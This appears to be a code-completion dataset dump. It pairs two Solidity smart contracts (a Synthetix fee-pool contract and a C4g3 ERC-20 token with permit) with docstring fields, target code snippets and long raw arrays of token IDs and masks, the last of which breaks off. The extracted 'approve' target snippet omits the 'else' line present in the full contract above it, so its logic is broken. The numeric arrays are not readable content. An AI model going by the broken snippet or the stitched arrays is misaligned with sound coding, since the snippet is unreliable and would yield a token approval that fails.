* @notice The Exchanger contract informs us when fees are paid.
* @param amount susd amount in fees being paid.
*/
function recordFeePaid(uint amount) external onlyInternalContracts {
// Keep track off fees in sUSD in the open fee pool period.
_recentFeePeriodsStorage(0).feesToDistribute = _recentFeePeriodsStorage(0).feesToDistribute.add(amount);
}
/**
* @notice The RewardsDistribution contract informs us how many SNX rewards are sent to RewardEscrow to be claimed.
*/
function setRewardsToDistribute(uint amount) external optionalProxy {
require(messageSender == address(rewardsDistribution()), "RewardsDistribution only");
// Add the amount of SNX rewards to distribute on top of any rolling unclaimed amount
_recentFeePeriodsStorage(0).rewardsToDistribute = _recentFeePeriodsStorage(0).rewardsToDistribute.add(amount);
}
/**
* @notice Close the current fee period and start a new one.
*/
function closeCurrentFeePeriod() external issuanceActive {
require(getFeePeriodDuration() > 0, "Fee Period Duration not set");
require(_recentFeePeriodsStorage(0).startTime <= (now - getFeePeriodDuration()), "Too early to close fee period");
etherWrapper().distributeFees();
wrapperFactory().distributeFees();
// Note: when FEE_PERIOD_LENGTH = 2, periodClosing is the current period & periodToRollover is the last open claimable period
FeePeriod storage periodClosing = _recentFeePeriodsStorage(FEE_PERIOD_LENGTH - 2);
FeePeriod storage periodToRollover = _recentFeePeriodsStorage(FEE_PERIOD_LENGTH - 1);
// Any unclaimed fees from the last period in the array roll back one period.
// Because of the subtraction here, they're effectively proportionally redistributed to those who
// have already claimed from the old period, available in the new period.
// The subtraction is important so we don't create a ticking time bomb of an ever growing
// number of fees that can never decrease and will eventually overflow at the end of the fee pool.
_recentFeePeriodsStorage(FEE_PERIOD_LENGTH - 2).feesToDistribute = periodToRollover
.feesToDistribute
.sub(periodToRollover.feesClaimed)
.add(periodClosing.feesToDistribute);
_recentFeePeriodsStorage(FEE_PERIOD_LENGTH - 2).rewardsToDistribute = periodToRollover
.rewardsToDistribute
.sub(periodToRollover.rewardsClaimed)
.add(periodClosing.rewardsToDistribute);
// Shift the previous fee periods across to make room for the new one.
_currentFeePeriod = _currentFeePeriod.add(FEE_PERIOD_LENGTH).sub(1).mod(FEE_PERIOD_LENGTH);
// Clear the first element of the array to make sure we don't have any stale values.
delete _recentFeePeriods[_currentFeePeriod];
// Open up the new fee period.
// Increment periodId from the recent closed period feePeriodId
_recentFeePeriodsStorage(0).feePeriodId = uint64(uint256(_recentFeePeriodsStorage(1).feePeriodId).add(1));
_recentFeePeriodsStorage(0).startingDebtIndex = uint64(synthetixState().debtLedgerLength());
_recentFeePeriodsStorage(0).startTime = uint64(now);
emitFeePeriodClosed(_recentFeePeriodsStorage(1).feePeriodId);
}
/**
* @notice Claim fees for last period when available or not already withdrawn.
*/
function claimFees() external issuanceActive optionalProxy returns (bool) {
return _claimFees(messageSender);
}
/**
* @notice Delegated claimFees(). Call from the deletegated address
* and the fees will be sent to the claimingForAddress.
* approveClaimOnBehalf() must be called first to approve the deletage address
* @param claimingForAddress The account you are claiming fees for
*/
function claimOnBehalf(address claimingForAddress) external issuanceActive optionalProxy returns (bool) {
require(delegateApprovals().canClaimFor(claimingForAddress, messageSender), "Not approved to claim on behalf");
return _claimFees(claimingForAddress);
}
function _claimFees(address claimingAddress) internal returns (bool) {
uint rewardsPaid = 0;
uint feesPaid = 0;
uint availableFees;
uint availableRewards;
// Address won't be able to claim fees if it is too far below the target c-ratio.
// It will need to burn synths then try claiming again.
(bool feesClaimable, bool anyRateIsInvalid) = _isFeesClaimableAndAnyRatesInvalid(claimingAddress);
require(feesClaimable, "C-Ratio below penalty threshold");
require(!anyRateIsInvalid, "A synth or SNX rate is invalid");
// Get the claimingAddress available fees and rewards
(availableFees, availableRewards) = feesAvailable(claimingAddress);
require(
availableFees > 0 || availableRewards > 0,
"No fees or rewards available for period, or fees already claimed"
);
// Record the address has claimed for this period
_setLastFeeWithdrawal(claimingAddress, _recentFeePeriodsStorage(1).feePeriodId);
if (availableFees > 0) {
// Record the fee payment in our recentFeePeriods
feesPaid = _recordFeePayment(availableFees);
// Send them their fees
_payFees(claimingAddress, feesPaid);
}
if (availableRewards > 0) {
// Record the reward payment in our recentFeePeriods
rewardsPaid = _recordRewardPayment(availableRewards);
// Send them their rewards
_payRewards(claimingAddress, rewardsPaid);
}
emitFeesClaimed(claimingAddress, feesPaid, rewardsPaid);
return true;
}
/**
* @notice Admin function to import the FeePeriod data from the previous contract
*/
function importFeePeriod(
uint feePeriodIndex,
uint feePeriodId,
uint startingDebtIndex,
uint startTime,
uint feesToDistribute,
uint feesClaimed,
uint rewardsToDistribute,
uint rewardsClaimed
) public optionalProxy_onlyOwner onlyDuringSetup {
require(startingDebtIndex <= synthetixState().debtLedgerLength(), "Cannot import bad data");
_recentFeePeriods[_currentFeePeriod.add(feePeriodIndex).mod(FEE_PERIOD_LENGTH)] = FeePeriod({
feePeriodId: uint64(feePeriodId),
startingDebtIndex: uint64(startingDebtIndex),
startTime: uint64(startTime),
feesToDistribute: feesToDistribute,
feesClaimed: feesClaimed,
rewardsToDistribute: rewardsToDistribute,
rewardsClaimed: rewardsClaimed
});
}
/**
* @notice Record the fee payment in our recentFeePeriods.
* @param sUSDAmount The amount of fees priced in sUSD.
*/
function _recordFeePayment(uint sUSDAmount) internal returns (uint) {
// Don't assign to the parameter
uint remainingToAllocate = sUSDAmount;
uint feesPaid;
// Start at the oldest period and record the amount, moving to newer periods
// until we've exhausted the amount.
// The condition checks for overflow because we're going to 0 with an unsigned int.
for (uint i = FEE_PERIOD_LENGTH - 1; i < FEE_PERIOD_LENGTH; i--) {
uint feesAlreadyClaimed = _recentFeePeriodsStorage(i).feesClaimed;
uint delta = _recentFeePeriodsStorage(i).feesToDistribute.sub(feesAlreadyClaimed);
if (delta > 0) {
// Take the smaller of the amount left to claim in the period and the amount we need to allocate
uint amountInPeriod = delta < remainingToAllocate ? delta : remainingToAllocate;
_recentFeePeriodsStorage(i).feesClaimed = feesAlreadyClaimed.add(amountInPeriod);
remainingToAllocate = remainingToAllocate.sub(amountInPeriod);
feesPaid = feesPaid.add(amountInPeriod);
// No need to continue iterating if we've recorded the whole amount;
if (remainingToAllocate == 0) return feesPaid;
// We've exhausted feePeriods to distribute and no fees remain in last period
// User last to claim would in this scenario have their remainder slashed
if (i == 0 && remainingToAllocate > 0) {
remainingToAllocate = 0;
}
}
}
return feesPaid;
}
/**
* @notice Record the reward payment in our recentFeePeriods.
* @param snxAmount The amount of SNX tokens.
*/
function _recordRewardPayment(uint snxAmount) internal returns (uint) {
// Don't assign to the parameter
uint remainingToAllocate = snxAmount;
uint rewardPaid;
// Start at the oldest period and record the amount, moving to newer periods
// until we've exhausted the amount.
// The condition checks for overflow because we're going to 0 with an unsigned int.
for (uint i = FEE_PERIOD_LENGTH - 1; i < FEE_PERIOD_LENGTH; i--) {
uint toDistribute =
_recentFeePeriodsStorage(i).rewardsToDistribute.sub(_recentFeePeriodsStorage(i).rewardsClaimed);
if (toDistribute > 0) {
// Take the smaller of the amount left to claim in the period and the amount we need to allocate
uint amountInPeriod = toDistribute < remainingToAllocate ? toDistribute : remainingToAllocate;
_recentFeePeriodsStorage(i).rewardsClaimed = _recentFeePeriodsStorage(i).rewardsClaimed.add(amountInPeriod);
remainingToAllocate = remainingToAllocate.sub(amountInPeriod);
rewardPaid = rewardPaid.add(amountInPeriod);
// No need to continue iterating if we've recorded the whole amount;
if (remainingToAllocate == 0) return rewardPaid;
// We've exhausted feePeriods to distribute and no rewards remain in last period
// User last to claim would in this scenario have their remainder slashed
// due to rounding up of PreciseDecimal
if (i == 0 && remainingToAllocate > 0) {
remainingToAllocate = 0;
}
}
}
return rewardPaid;
}
/**
* @notice Send the fees to claiming address.
* @param account The address to send the fees to.
* @param sUSDAmount The amount of fees priced in sUSD.
*/
function _payFees(address account, uint sUSDAmount) internal notFeeAddress(account) {
// Grab the sUSD Synth
ISynth sUSDSynth = issuer().synths(sUSD);
// NOTE: we do not control the FEE_ADDRESS so it is not possible to do an
// ERC20.approve() transaction to allow this feePool to call ERC20.transferFrom
// to the accounts address
// Burn the source amount
sUSDSynth.burn(FEE_ADDRESS, sUSDAmount);
// Mint their new synths
sUSDSynth.issue(account, sUSDAmount);
}
/**
* @notice Send the rewards to claiming address - will be locked in rewardEscrow.
* @param account The address to send the fees to.
* @param snxAmount The amount of SNX.
*/
function _payRewards(address account, uint snxAmount) internal notFeeAddress(account) {
/* Escrow the tokens for 1 year. */
uint escrowDuration = 52 weeks;
// Record vesting entry for claiming address and amount
// SNX already minted to rewardEscrow balance
rewardEscrowV2().appendVestingEntry(account, snxAmount, escrowDuration);
}
/**
* @notice The total fees available in the system to be withdrawnn in sUSD
*/
function totalFeesAvailable() external view returns (uint) {
uint totalFees = 0;
// Fees in fee period [0] are not yet available for withdrawal
for (uint i = 1; i < FEE_PERIOD_LENGTH; i++) {
totalFees = totalFees.add(_recentFeePeriodsStorage(i).feesToDistribute);
totalFees = totalFees.sub(_recentFeePeriodsStorage(i).feesClaimed);
}
return totalFees;
}
/**
* @notice The total SNX rewards available in the system to be withdrawn
*/
function totalRewardsAvailable() external view returns (uint) {
uint totalRewards = 0;
// Rewards in fee period [0] are not yet available for withdrawal
for (uint i = 1; i < FEE_PERIOD_LENGTH; i++) {
totalRewards = totalRewards.add(_recentFeePeriodsStorage(i).rewardsToDistribute);
totalRewards = totalRewards.sub(_recentFeePeriodsStorage(i).rewardsClaimed);
}
return totalRewards;
}
/**
* @notice The fees available to be withdrawn by a specific account, priced in sUSD
* @dev Returns two amounts, one for fees and one for SNX rewards
*/
function feesAvailable(address account) public view returns (uint, uint) {
// Add up the fees
uint[2][FEE_PERIOD_LENGTH] memory userFees = feesByPeriod(account);
uint totalFees = 0;
uint totalRewards = 0;
// Fees & Rewards in fee period [0] are not yet available for withdrawal
for (uint i = 1; i < FEE_PERIOD_LENGTH; i++) {
totalFees = totalFees.add(userFees[i][0]);
totalRewards = totalRewards.add(userFees[i][1]);
}
// And convert totalFees to sUSD
// Return totalRewards as is in SNX amount
return (totalFees, totalRewards);
}
function _isFeesClaimableAndAnyRatesInvalid(address account) internal view returns (bool, bool) {
// Threshold is calculated from ratio % above the target ratio (issuanceRatio).
// 0 < 10%: Claimable
// 10% > above: Unable to claim
(uint ratio, bool anyRateIsInvalid) = issuer().collateralisationRatioAndAnyRatesInvalid(account);
uint targetRatio = getIssuanceRatio();
// Claimable if collateral ratio below target ratio
if (ratio < targetRatio) {
return (true, anyRateIsInvalid);
}
// Calculate the threshold for collateral ratio before fees can't be claimed.
uint ratio_threshold = targetRatio.multiplyDecimal(SafeDecimalMath.unit().add(getTargetThreshold()));
// Not claimable if collateral ratio above threshold
if (ratio > ratio_threshold) {
return (false, anyRateIsInvalid);
}
return (true, anyRateIsInvalid);
}
function isFeesClaimable(address account) external view returns (bool feesClaimable) {
(feesClaimable, ) = _isFeesClaimableAndAnyRatesInvalid(account);
}
/**
* @notice Calculates fees by period for an account, priced in sUSD
* @param account The address you want to query the fees for
*/
function feesByPeriod(address account) public view returns (uint[2][FEE_PERIOD_LENGTH] memory results) {
// What's the user's debt entry index and the debt they owe to the system at current feePeriod
uint userOwnershipPercentage;
uint debtEntryIndex;
FeePoolState _feePoolState = feePoolState();
(userOwnershipPercentage, debtEntryIndex) = _feePoolState.getAccountsDebtEntry(account, 0);
// If they don't have any debt ownership and they never minted, they don't have any fees.
// User ownership can reduce to 0 if user burns all synths,
// however they could have fees applicable for periods they had minted in before so we check debtEntryIndex.
if (debtEntryIndex == 0 && userOwnershipPercentage == 0) {
uint[2][FEE_PERIOD_LENGTH] memory nullResults;
return nullResults;
}
// The [0] fee period is not yet ready to claim, but it is a fee period that they can have
// fees owing for, so we need to report on it anyway.
uint feesFromPeriod;
uint rewardsFromPeriod;
(feesFromPeriod, rewardsFromPeriod) = _feesAndRewardsFromPeriod(0, userOwnershipPercentage, debtEntryIndex);
results[0][0] = feesFromPeriod;
results[0][1] = rewardsFromPeriod;
// Retrieve user's last fee claim by periodId
uint lastFeeWithdrawal = getLastFeeWithdrawal(account);
// Go through our fee periods from the oldest feePeriod[FEE_PERIOD_LENGTH - 1] and figure out what we owe them.
// Condition checks for periods > 0
for (uint i = FEE_PERIOD_LENGTH - 1; i > 0; i--) {
uint next = i - 1;
uint nextPeriodStartingDebtIndex = _recentFeePeriodsStorage(next).startingDebtIndex;
// We can skip the period, as no debt minted during period (next period's startingDebtIndex is still 0)
if (nextPeriodStartingDebtIndex > 0 && lastFeeWithdrawal < _recentFeePeriodsStorage(i).feePeriodId) {
// We calculate a feePeriod's closingDebtIndex by looking at the next feePeriod's startingDebtIndex
// we can use the most recent issuanceData[0] for the current feePeriod
// else find the applicableIssuanceData for the feePeriod based on the StartingDebtIndex of the period
uint closingDebtIndex = uint256(nextPeriodStartingDebtIndex).sub(1);
// Gas optimisation - to reuse debtEntryIndex if found new applicable one
// if applicable is 0,0 (none found) we keep most recent one from issuanceData[0]
// return if userOwnershipPercentage = 0)
(userOwnershipPercentage, debtEntryIndex) = _feePoolState.applicableIssuanceData(account, closingDebtIndex);
(feesFromPeriod, rewardsFromPeriod) = _feesAndRewardsFromPeriod(i, userOwnershipPercentage, debtEntryIndex);
results[i][0] = feesFromPeriod;
results[i][1] = rewardsFromPeriod;
}
}
}
/**
* @notice ownershipPercentage is a high precision decimals uint based on
* wallet's debtPercentage. Gives a precise amount of the feesToDistribute
* for fees in the period. Precision factor is removed before results are
* returned.
* @dev The reported fees owing for the current period [0] are just a
* running balance until the fee period closes
*/
function _feesAndRewardsFromPeriod(
uint period,
uint ownershipPercentage,
uint debtEntryIndex
) internal view returns (uint, uint) {
// If it's zero, they haven't issued, and they have no fees OR rewards.
if (ownershipPercentage == 0) return (0, 0);
uint debtOwnershipForPeriod = ownershipPercentage;
// If period has closed we want to calculate debtPercentage for the period
if (period > 0) {
uint closingDebtIndex = uint256(_recentFeePeriodsStorage(period - 1).startingDebtIndex).sub(1);
debtOwnershipForPeriod = _effectiveDebtRatioForPeriod(closingDebtIndex, ownershipPercentage, debtEntryIndex);
}
// Calculate their percentage of the fees / rewards in this period
// This is a high precision integer.
uint feesFromPeriod = _recentFeePeriodsStorage(period).feesToDistribute.multiplyDecimal(debtOwnershipForPeriod);
uint rewardsFromPeriod =
_recentFeePeriodsStorage(period).rewardsToDistribute.multiplyDecimal(debtOwnershipForPeriod);
return (feesFromPeriod.preciseDecimalToDecimal(), rewardsFromPeriod.preciseDecimalToDecimal());
}
function _effectiveDebtRatioForPeriod(
uint closingDebtIndex,
uint ownershipPercentage,
uint debtEntryIndex
) internal view returns (uint) {
// Figure out their global debt percentage delta at end of fee Period.
// This is a high precision integer.
ISynthetixState _synthetixState = synthetixState();
uint feePeriodDebtOwnership =
_synthetixState
.debtLedger(closingDebtIndex)
.divideDecimalRoundPrecise(_synthetixState.debtLedger(debtEntryIndex))
.multiplyDecimalRoundPrecise(ownershipPercentage);
return feePeriodDebtOwnership;
}
function effectiveDebtRatioForPeriod(address account, uint period) external view returns (uint) {
require(period != 0, "Current period is not closed yet");
require(period < FEE_PERIOD_LENGTH, "Exceeds the FEE_PERIOD_LENGTH");
// If the period being checked is uninitialised then return 0. This is only at the start of the system.
if (_recentFeePeriodsStorage(period - 1).startingDebtIndex == 0) return 0;
uint closingDebtIndex = uint256(_recentFeePeriodsStorage(period - 1).startingDebtIndex).sub(1);
uint ownershipPercentage;
uint debtEntryIndex;
(ownershipPercentage, debtEntryIndex) = feePoolState().applicableIssuanceData(account, closingDebtIndex);
// internal function will check closingDebtIndex has corresponding debtLedger entry
return _effectiveDebtRatioForPeriod(closingDebtIndex, ownershipPercentage, debtEntryIndex);
}
/**
* @notice Get the feePeriodID of the last claim this account made
* @param _claimingAddress account to check the last fee period ID claim for
* @return uint of the feePeriodID this account last claimed
*/
function getLastFeeWithdrawal(address _claimingAddress) public view returns (uint) {
return feePoolEternalStorage().getUIntValue(keccak256(abi.encodePacked(LAST_FEE_WITHDRAWAL, _claimingAddress)));
}
/**
* @notice Calculate the collateral ratio before user is blocked from claiming.
*/
function getPenaltyThresholdRatio() public view returns (uint) {
return getIssuanceRatio().multiplyDecimal(SafeDecimalMath.unit().add(getTargetThreshold()));
}
/**
* @notice Set the feePeriodID of the last claim this account made
* @param _claimingAddress account to set the last feePeriodID claim for
* @param _feePeriodID the feePeriodID this account claimed fees for
*/
function _setLastFeeWithdrawal(address _claimingAddress, uint _feePeriodID) internal {
feePoolEternalStorage().setUIntValue(
keccak256(abi.encodePacked(LAST_FEE_WITHDRAWAL, _claimingAddress)),
_feePeriodID
);
}
/* ========== Modifiers ========== */
modifier onlyInternalContracts {
bool isExchanger = msg.sender == address(exchanger());
bool isSynth = issuer().synthsByAddress(msg.sender) != bytes32(0);
bool isCollateral = collateralManager().hasCollateral(msg.sender);
bool isEtherWrapper = msg.sender == address(etherWrapper());
bool isWrapper = msg.sender == address(wrapperFactory());
require(isExchanger || isSynth || isCollateral || isEtherWrapper || isWrapper, "Only Internal Contracts");
_;
}
modifier onlyIssuerAndSynthetixState {
bool isIssuer = msg.sender == address(issuer());
bool isSynthetixState = msg.sender == address(synthetixState());
require(isIssuer || isSynthetixState, "Issuer and SynthetixState only");
_;
}
modifier notFeeAddress(address account) {
require(account != FEE_ADDRESS, "Fee address not allowed");
_;
}
modifier issuanceActive() {
systemStatus().requireIssuanceActive();
_;
}
/* ========== Proxy Events ========== */
event IssuanceDebtRatioEntry(
address indexed account,
uint debtRatio,
uint debtEntryIndex,
uint feePeriodStartingDebtIndex
);
bytes32 private constant ISSUANCEDEBTRATIOENTRY_SIG =
keccak256("IssuanceDebtRatioEntry(address,uint256,uint256,uint256)");
function emitIssuanceDebtRatioEntry(
address account,
uint debtRatio,
uint debtEntryIndex,
uint feePeriodStartingDebtIndex
) internal {
proxy._emit(
abi.encode(debtRatio, debtEntryIndex, feePeriodStartingDebtIndex),
2,
ISSUANCEDEBTRATIOENTRY_SIG,
bytes32(uint256(uint160(account))),
0,
0
);
}
event FeePeriodClosed(uint feePeriodId);
bytes32 private constant FEEPERIODCLOSED_SIG = keccak256("FeePeriodClosed(uint256)");
function emitFeePeriodClosed(uint feePeriodId) internal {
proxy._emit(abi.encode(feePeriodId), 1, FEEPERIODCLOSED_SIG, 0, 0, 0);
}
event FeesClaimed(address account, uint sUSDAmount, uint snxRewards);
bytes32 private constant FEESCLAIMED_SIG = keccak256("FeesClaimed(address,uint256,uint256)");
function emitFeesClaimed(
address account,
uint sUSDAmount,
uint snxRewards
) internal {
proxy._emit(abi.encode(account, sUSDAmount, snxRewards), 1, FEESCLAIMED_SIG, 0, 0, 0);
}
}
| Retrieve user's last fee claim by periodId | uint lastFeeWithdrawal = getLastFeeWithdrawal(account);
| 1,391,334 | [
1,
5767,
729,
1807,
1142,
14036,
7516,
635,
3879,
548,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
2254,
1142,
14667,
1190,
9446,
287,
273,
7595,
14667,
1190,
9446,
287,
12,
4631,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
pragma experimental ABIEncoderV2;
import "./SafeMath.sol";
contract C4g3 {
/// @notice EIP-20 token name for this token
string public constant name = "CAGE";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "C4G3";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public totalSupply = 100_000_000e18; // 100 million C4G3
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the permit struct used by the contract
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/**
* @notice Construct a new C4g3 token
* @param account The initial account to grant all the tokens
*/
constructor(address account) public {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == type(uint).max) {
amount = type(uint96).max;
} else {
amount = safe96(rawAmount, "C4g3::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Triggers an approval from owner to spends
* @param owner The address to approve from
* @param spender The address to be approved
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @param deadline The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
uint96 amount;
if (rawAmount == type(uint).max) {
amount = type(uint96).max;
} else {
amount = safe96(rawAmount, "C4g3::permit: amount exceeds 96 bits");
}
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "C4g3::permit: invalid signature");
require(signatory == owner, "C4g3::permit: unauthorized");
require(block.timestamp <= deadline, "C4g3::permit: signature expired");
allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "C4g3::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "C4g3::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != type(uint96).max) {
uint96 newAllowance = sub96(spenderAllowance, amount, "C4g3::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "C4g3::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "C4g3::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "C4g3::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "C4g3::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal view returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
} | * @notice Approve `spender` to transfer up to `amount` from `src` @dev This will overwrite the approval amount for `spender` @param spender The address of the account which may transfer tokens @param rawAmount The number of tokens that are approved (2^256-1 means infinite) @return Whether or not the approval succeeded/ | function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == type(uint).max) {
amount = type(uint96).max;
amount = safe96(rawAmount, "C4g3::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
| 1,255,133 | [
1,
12053,
537,
1375,
87,
1302,
264,
68,
358,
7412,
731,
358,
1375,
8949,
68,
628,
1375,
4816,
68,
225,
1220,
903,
6156,
326,
23556,
3844,
364,
1375,
87,
1302,
264,
68,
225,
17571,
264,
1021,
1758,
434,
326,
2236,
1492,
2026,
7412,
2430,
225,
1831,
6275,
1021,
1300,
434,
2430,
716,
854,
20412,
261,
22,
66,
5034,
17,
21,
4696,
14853,
13,
327,
17403,
578,
486,
326,
23556,
15784,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
